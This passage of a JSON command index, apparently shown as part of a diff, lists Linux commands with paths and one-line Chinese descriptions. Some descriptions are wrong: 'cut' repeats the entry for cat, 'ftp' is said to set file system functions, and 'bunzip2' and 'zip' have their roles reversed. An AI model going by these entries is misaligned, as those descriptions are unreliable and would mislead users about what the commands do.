":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序。"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"将文件进行排序并输出"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令，命令返回退出状态。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息。"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"将文件以行为单位的反序输出"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出。"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"Linux下的归档使用工具，用来打包和备份。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器。"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"把数据重定向到给定文件和屏幕上"},"telint":{"n":"telint","p":"/telint","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"shell环境中测试条件表达式工具"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权。"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"指定在接收到信号后将要采取的动作"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名。"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"用来设置限制新建文件权限的掩码"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"显示Linux系统信息"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"报告或忽略文件中的重复行"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"显示当前登录系统的所有用户"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序。"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件。"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机。"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称。"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示目前登录系统的用户信息"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具。"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"用来设置指令的别名"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表。"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"用于将作业放到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"builtin":{"n":"builtin","p":"/builtin","d":"执行shell内部命令"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序。。"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接文件并打印到标准输出设备上"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间。"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"两个文件之间的比较"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机。"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明或显示shell变量"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器。"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录记录"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或关闭shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"设置或显示系统环境变量"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"fc":{"n":"fc","p":"/fc","d":"修改历史命令并执行"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业放到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型。"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具。"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用。"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"用来打印指定用户所属的工作组"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"在屏幕上显示指定文件的开头若干行"},"help":{"n":"help","p":"/help","d":"显示帮助信息"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"用于显示历史命令"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"用来打印当前主机的数字化标识"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况。"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"显示用户的ID以及所属群组的ID"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6table